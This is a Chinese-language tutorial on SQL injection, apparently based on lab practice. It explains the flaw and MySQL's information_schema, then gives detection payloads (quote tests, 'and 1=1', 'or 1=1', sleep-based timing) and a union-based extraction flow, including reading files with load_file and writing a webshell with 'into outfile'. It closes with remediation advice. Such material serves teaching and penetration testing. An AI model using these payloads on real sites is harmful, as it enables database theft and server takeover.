文中详细讲解web安全之SQL注入,通过文中内容更加深入的掌握SQL注入的原理及检测方法,从而更好的用于渗透测试中;文中内容全由个人理解编制,若有错处,大佬勿喷,个人学艺不精;本文中提到的任何技术都源自于靶场练习,仅供学习参考,请勿利用文章内的相关技术从事非法测试,如因产生的一切不良后果与文章作者无关。
web安全之SQL注入(一)
SQL注入漏洞介绍
Web程序代码中对用户提交的参数未做过滤就直接放到SQL语句中执行,导致参数中的特殊字符打破SQL语句原有的逻辑,让攻击者可以利用该漏洞执行任意SQL语句。
Burp中CO2联动SQLMAP检测
在Burp中安装插件CO2,然后进行配置SQLMAP的路径,python路径可选填写,抓包发送:
配合SQLMAP出进行检测出结果:
MYSQL注入基础知识
在MYSQL5版本以后,MYSQL默认数据库中多了information_schema这个库,在这个库中重点有三张表,columns 、tables、SCHEMATA 表字段 CHEMA_NAME 记录着库的信息,从而我们攻击者可以利用这个库,逐步获取所需要的信息。
SCHEMATA表 记录了所有的数据库名:
columns存储该用户创建的所有数据库的库名、表名和字段名
tables里面TABLE_SCHEMA 、TABLE_NAME 字段分别记录着库名和表名
所以当我们在这里跨库查询时,这可以执行这些命令:
select * from information_schema.columns where TABLE_SCHEMA='dvwa'
如果需要继续查users里面的,那么我们就可以继续在后面加上TABLE_NAME:
select * from information_schema.columns where TABLE_SCHEMA='dvwa' and TABLE_NAME='users'
因此通过这些介绍,我们就更加的清楚当我们进行注入时,为何要使用这些参数来获取数据。
SQL注入原理
SQL注入漏洞产生需要满足两个条件:1. 参数用户可控:从前端传到后端的参数内容是用户可以控制的;2. 参数带入数据库查询:传入的参数拼接到SQL语句,且带入数据库查询。
select * from users where id=1'
select * form users where id='1''
当用户使用单引号来进行检测时,不论是字符型还是整形,只要报错都说明此处有可能存在注入。
当我们使用与运算,and 1=1 来判断时:
select * from users where id=1 and 1=1
从下图我我们可以看出select 1=2 返回0,在MYSQL中,就相当于false。就是没有数据,则是我们通常说的为假。
反之select 1=1 返回1,就相当于true,则为真,所以上面我们使用与运算时,两边都为真,就返回正确页面给我们,一边为假,则为假,没有数据返回给我们,我们就可以通过此原理来进行判断是否存在注入。
select * from users where id=1 and 1=2
那我们在页面进行判断时,首先要进行区分是整形还是字符型。
字符型
如果是mysql的数据库,我们使用’1’=‘1’ 则需要使用–+或者–空格来进行注释,主要的作用就是为了闭合,但根据不同浏览器,有的浏览器并不会解析+号,所以多数用–空格,或者直接使用#号来进行注释。
?name=vince' and '1'='1'--+&submit=1
我们使用’1’='1,则后面就不需要加注释。
?name=vince' and '1'='1&submit=1
整型
使用则不需要在后面的判断中加上单引号,只有字符型才是需要的。
id=1 and 1=1&submit=1
id=1 and 1=2&submit=1
这是在有回显的时候,我们对SQL注入漏洞的简单判断,同样我们也可以使用or来进行判断:
id =1 and 1=1
id = 1 and 1=2
id = 1 or 1=1
id = '1' or '1'='1'
id=" 1 "or "1"="1"
当没有回显的时候,我们最简单的判断就是利用sleep函数。
?name=vince%27+and+sleep%285%29--+&submit=%E6%9F%A5%E8%AF%A2 #在burp中需要进行url编码才能执行
直接在浏览器中也可以同样看到加载的时间,从而判断是否存在注入
SQL注入的流程
判断字段数:
order by
确定回显点:
union select 1,2
查询操作系统版本、数据库信息:
@@version
@@datadir
查询用户名、数据库名、操作系统版本:
user() database() version() #当这些函数被过滤,可以使用上面的方式来获取信息。
文件读取:
union select 1,load_file('C:\\windows\\win.ini')
写入webshell
select..into outfile
SQL注入修复建议
代码层最佳防御SQL漏洞方案,就是采用sql语句预编译和绑定变量。
- 所有的查询语句都使用数据库提供的参数化查询接口;
- 对进行数据库的特殊字符进行转义处理,或编码转换;
- 确认每种数据的类型,例如数字型的数据就必须是数字,且数据库中存储的字段也必须对应是int;
- 数据的长度严格规定,能在一定程度下防止较长的SQL注入语句无法正确执行;
- 网站的每个数据层的编码统一,建议全部使用utf-8,防止因上下层编码不一致而被绕过。
- 严格限制用户对数据库的操作权限,从最大限度下减少注入攻击。
- 避免网站显示SQL错误信息,防止攻击者利用错误信息进行判断,在网站调试可以展示给管理员,但一旦不需要调试就要关闭显示。